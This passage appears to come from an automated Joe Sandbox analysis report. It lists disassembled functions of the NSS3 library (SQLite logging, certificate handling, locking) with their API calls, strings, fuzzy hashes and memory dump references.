Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: bf5942884b8626e7a9ac1cdc41ecbf470a2ce658e17fba81475a74c4113c1a97
Instruction ID: b020cba05fccd2fba567c9a30dde18787472e6e4df2301897caf6f5be7f9bd8d
Opcode Fuzzy Hash: bf5942884b8626e7a9ac1cdc41ecbf470a2ce658e17fba81475a74c4113c1a97
Instruction Fuzzy Hash: F001D2B6A10104BBEF01AFA4DC45E9B3F3CEF4A368B004025FD0A87711D671EA5087A2

Function 6CF71C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE74E1D), ref: 6CF71C8A
sqlite3_free.NSS3(00000000), ref: 6CF71CB6

Strings

a CHECK constraint, xrefs: 6CF71C76, 6CF71C81
non-deterministic use of %s() in %s, xrefs: 6CF71C85
an index, xrefs: 6CF71C67
w=l, xrefs: 6CF71C44
a generated column, xrefs: 6CF71C6C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: fdb223fde9164428b4cf5736e2cee6f2316319b9f9dff1e4a064556afd83befc
Instruction ID: 51550e925759b429ffd787ecb0c61b50c23570d4ba43066fe696f49e501eb5df
Opcode Fuzzy Hash: fdb223fde9164428b4cf5736e2cee6f2316319b9f9dff1e4a064556afd83befc
Instruction Fuzzy Hash: 29014CB1A001404BD700BF68D4129B273E5EFC134CB15487DEC489BB02EB32E856C7A1

Function 6CF54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF54DE0

Strings

%s at line %d of [%.10s], xrefs: 6CF54DDA
API call with %s database connection pointer, xrefs: 6CF54DBD
misuse, xrefs: 6CF54DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF54DCB
invalid, xrefs: 6CF54DB8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f538a2d830dcf659fd91b07b979f0ff9b1fd038b9b4b531f1a1eea044fc2c2b6
Instruction ID: c02059a50f833437a166b95d9de8d5bdecb2fd170b6841eebfbf656409483b49
Opcode Fuzzy Hash: f538a2d830dcf659fd91b07b979f0ff9b1fd038b9b4b531f1a1eea044fc2c2b6
Instruction Fuzzy Hash: 82F0B426A145646BD6014117CC10FD63B954F12319F9609A1EF08BBA52D717AC708395

Function 6CF54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF54E4D

Strings

%s at line %d of [%.10s], xrefs: 6CF54E47
API call with %s database connection pointer, xrefs: 6CF54E2A
misuse, xrefs: 6CF54E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF54E38
invalid, xrefs: 6CF54E25

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1d8ca6a06f88b374a8d0494d3d27268cbdc07c0d38b6ce12c05e9fbf5e831d57
Instruction ID: 9934c6149293a1e189a1fa2c1b6271998f9bfad9a4aa319039872fdb333d3666
Opcode Fuzzy Hash: 1d8ca6a06f88b374a8d0494d3d27268cbdc07c0d38b6ce12c05e9fbf5e831d57
Instruction Fuzzy Hash: 39F02715F449282BE61102279C14FC33B854B21329F9964A1EB0877E92D717AC7242D2

Function 6CE89FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE8A086
EnterCriticalSection.KERNEL32(?), ref: 6CE8A09B
PR_Unlock.NSS3(?), ref: 6CE8A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8A0E9
TlsGetValue.KERNEL32 ref: 6CE8A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE8A12F
PR_Unlock.NSS3(?), ref: 6CE8A148

Part of subcall function 6CEA1A40: PR_Now.NSS3(?,00000000,6CE828AD,00000000,?,6CE9F09A,00000000,6CE828AD,6CE893B0,?,6CE893B0,6CE828AD,00000000,?,00000000), ref: 6CEA1A65

Part of subcall function 6CEA1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CEA4126,?), ref: 6CEA1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8A1A3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 47d2583943db96c7238ba9fbe27eb287bbf8b7594b032c890705f9aa4c84ade5
Instruction ID: 7cdc27c500834edcc4fd5a6d0be1ee97d002c6828ade38c5031d4463a5380486
Opcode Fuzzy Hash: 47d2583943db96c7238ba9fbe27eb287bbf8b7594b032c890705f9aa4c84ade5
Instruction Fuzzy Hash: 2E51F4B2E416009BEB109F79CC44AAB77B8AF8630CB35412DEC1D97781EB31E846C691

Function 6CEC0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?,?,00000000,?,?), ref: 6CEC0CB3

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?), ref: 6CEC0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?), ref: 6CEC0DEC

Part of subcall function 6CEE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE82AF5,?,?,?,?,?,6CE80A1B,00000000), ref: 6CEE0F1A
Part of subcall function 6CEE0F10: malloc.MOZGLUE(00000001), ref: 6CEE0F30
Part of subcall function 6CEE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEE0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000), ref: 6CEC0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?,?,6CEC1444,?,?,00000000), ref: 6CEC0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEC1444,?,00000001,?,00000000,00000000,?), ref: 6CEC0E79

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,?,6CEA0844,?), ref: 6CED157A
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(?,?,?,6CEA0844,?), ref: 6CED158F
Part of subcall function 6CED1560: PR_Unlock.NSS3(?,?,?,?,6CEA0844,?), ref: 6CED15B2

Part of subcall function 6CE9B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CEA1397,00000000,?,6CE9CF93,5B5F5EC0,00000000,?,6CEA1397,?), ref: 6CE9B1CB
Part of subcall function 6CE9B1A0: free.MOZGLUE(5B5F5EC0,?,6CE9CF93,5B5F5EC0,00000000,?,6CEA1397,?), ref: 6CE9B1D2

Part of subcall function 6CE989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE988AE,-00000008), ref: 6CE98A04
Part of subcall function 6CE989E0: EnterCriticalSection.KERNEL32(?), ref: 6CE98A15
Part of subcall function 6CE989E0: memset.VCRUNTIME140(6CE988AE,00000000,00000132), ref: 6CE98A27
Part of subcall function 6CE989E0: PR_Unlock.NSS3(?), ref: 6CE98A35

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: c26acae4cc8d984b26905e718347814a1d67796e9700d4f377c076443ef73c1e
Instruction ID: a117c1f0be540b818d37438eb57d18e9360bcd9d6cb77a369ca7f07954581398
Opcode Fuzzy Hash: c26acae4cc8d984b26905e718347814a1d67796e9700d4f377c076443ef73c1e
Instruction Fuzzy Hash: EE51A9F6E002015FEB009FA4DD41AAB37B89F0531CF250464EC199B712FB31ED1986A3

Function 6CE76E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE76ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE76EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE76FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE76FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE76FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE77010
sqlite3_value_blob.NSS3(?,?), ref: 6CE7701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE77052

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: de92cd9d5ae86b403d25591f0f75cb8b6d8d7f6df5b4f6e8868d24475c4c1e92
Instruction ID: e313394a677d0a506267d42c16fe62a900f36533e523d9a8813227618dd50013
Opcode Fuzzy Hash: de92cd9d5ae86b403d25591f0f75cb8b6d8d7f6df5b4f6e8868d24475c4c1e92
Instruction Fuzzy Hash: 9261B0B1E0420A8BDB25CF64D8017EEB7B6AF4530CF384169D815AB751E7329D16CBB0

Function 6CEE8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEE7313), ref: 6CEE8FBB

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE90F1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE906B

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEE7313), ref: 6CEE9128

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 4b988e96c794600b98bed30defabb55fe93f53504332db22f845541b8ca1be7b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 46518371A002018FEB10DF6ADC44BA6B3F5AF4939CF364169D915D7B61EB31E805CB91

Function 6CE99C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE98850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CEA0715), ref: 6CE98859
Part of subcall function 6CE98850: PR_NewLock.NSS3 ref: 6CE98874
Part of subcall function 6CE98850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE9888D

PR_NewLock.NSS3 ref: 6CE99CAD

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

TlsGetValue.KERNEL32 ref: 6CE99CE8
EnterCriticalSection.KERNEL32(?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D01
TlsGetValue.KERNEL32(?,?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D38
EnterCriticalSection.KERNEL32(?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D4D
PR_Unlock.NSS3 ref: 6CE99D70
PR_Unlock.NSS3 ref: 6CE99DC3
PR_NewLock.NSS3 ref: 6CE99DDD

Part of subcall function 6CE988D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CEA0725,00000000,00000058), ref: 6CE98906
Part of subcall function 6CE988D0: EnterCriticalSection.KERNEL32(?), ref: 6CE9891A
Part of subcall function 6CE988D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE9894A
Part of subcall function 6CE988D0: calloc.MOZGLUE(00000001,6CEA072D,00000000,00000000,00000000,?,6CEA0725,00000000,00000058), ref: 6CE98959
Part of subcall function 6CE988D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE98993
Part of subcall function 6CE988D0: PR_Unlock.NSS3(?), ref: 6CE989AF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 1207fa21abfe7aaff7d00605f387e06c158f16a6cd4a47a320b2c383e589a24f
Instruction ID: c14c7c824be28adc65d247b3ba059951fa832b4e5514215cec9b4f36cd801934
Opcode Fuzzy Hash: 1207fa21abfe7aaff7d00605f387e06c158f16a6cd4a47a320b2c383e589a24f
Instruction Fuzzy Hash: 535140B0A057059FDB10EF68C08465EBBF4BF45359F258529D89CDB721EB34E884CB91

Function 6CF99EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF99EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF99EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99F73
EnterCriticalSection.KERNEL32(?), ref: 6CF99FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF99FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9A01D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: d509ba6d4d641dc7ecdd457a0b4f07d27fa20fa4a65536bc49f224e5e6341758
Instruction ID: 60bfe947a75c0b95e987238a6bbba5ba90d8eda272eb7b4b1bd4dbf2ac8cb9a5
Opcode Fuzzy Hash: d509ba6d4d641dc7ecdd457a0b4f07d27fa20fa4a65536bc49f224e5e6341758
Instruction Fuzzy Hash: 6051A2B2900600DFDB109F25D48478ABBF4FF04319F15866AD85957B16EB31F985CBD1

Function 6CE8DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE8DCFA

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE8DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE8DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE8DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE8DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE8DD8F

Part of subcall function 6CEA06A0: TlsGetValue.KERNEL32 ref: 6CEA06C2
Part of subcall function 6CEA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CEA06D6
Part of subcall function 6CEA06A0: PR_Unlock.NSS3 ref: 6CEA06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE8DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE8DDB7

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 04fa768fa556acf2fb1568d310a5634f51702579b5b1072882a29ee3ce833246
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: A5218EBAE021169BDF019F94DC409DEB7B4AF05218B250125EC1CA7B51F731EA15CBE2

Function 6CF15F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15F72

Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7ED8F
Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7ED9E
Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7EDA4

